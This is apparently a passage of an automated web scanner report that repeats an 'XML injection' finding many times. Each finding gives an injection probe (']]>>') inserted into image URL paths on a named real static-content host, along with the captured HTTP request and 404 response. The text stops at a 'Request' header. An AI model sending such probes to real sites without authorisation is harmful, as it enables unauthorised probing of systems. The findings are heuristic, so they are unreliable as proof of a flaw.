HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:01:57 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images]]>>/core/background/208x3-grid-bg.gif?ver=-1 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:01:59 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/core]]>>/background/208x3-grid-bg.gif?ver=-1 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:03 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/core/background]]>>/208x3-grid-bg.gif?ver=-1 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535991 Date: Mon, 03 Oct 2011 01:02:09 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 5 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 5. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/core/background/208x3-grid-bg.gif]]>>?ver=-1 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Expires: Mon, 03 Oct 2011 01:02:13 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 03 Oct 2011 01:02:13 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/images/core/map/img_poi.png?ver=-1 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:37 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images]]>>/core/map/img_poi.png?ver=-1 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535990 Date: Mon, 03 Oct 2011 01:02:40 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/core]]>>/map/img_poi.png?ver=-1 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:43 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/core/map]]>>/img_poi.png?ver=-1 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:47 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 5 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 5. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/core/map/img_poi.png]]>>?ver=-1 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Expires: Mon, 03 Oct 2011 01:02:57 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 03 Oct 2011 01:02:57 GMT Content-Length: 1422 Connection: close Vary: Accept-Encoding
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/images/customer-care/blue_arrow_min.gif?ver=152264 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535977 Date: Mon, 03 Oct 2011 01:02:24 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images]]>>/customer-care/blue_arrow_min.gif?ver=152264 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535944 Date: Mon, 03 Oct 2011 01:02:28 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/customer-care]]>>/blue_arrow_min.gif?ver=152264 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:32 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/customer-care/blue_arrow_min.gif]]>>?ver=152264 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Expires: Mon, 03 Oct 2011 01:02:34 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 03 Oct 2011 01:02:34 GMT Content-Length: 1422 Connection: close Vary: Accept-Encoding
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/images/global/background/sidebar-module-bottom-and-left-corner.gif?ver=169565 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:01:56 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images]]>>/global/background/sidebar-module-bottom-and-left-corner.gif?ver=169565 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:01:58 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/global]]>>/background/sidebar-module-bottom-and-left-corner.gif?ver=169565 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:01 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/global/background]]>>/sidebar-module-bottom-and-left-corner.gif?ver=169565 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535999 Date: Mon, 03 Oct 2011 01:02:08 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 5 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 5. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/global/background/sidebar-module-bottom-and-left-corner.gif]]>>?ver=169565 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Expires: Mon, 03 Oct 2011 01:02:10 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 03 Oct 2011 01:02:10 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/images/global/background/sidebar-module-bottom-right-corner.gif?ver=169565 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:01:56 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images]]>>/global/background/sidebar-module-bottom-right-corner.gif?ver=169565 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535987 Date: Mon, 03 Oct 2011 01:01:58 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
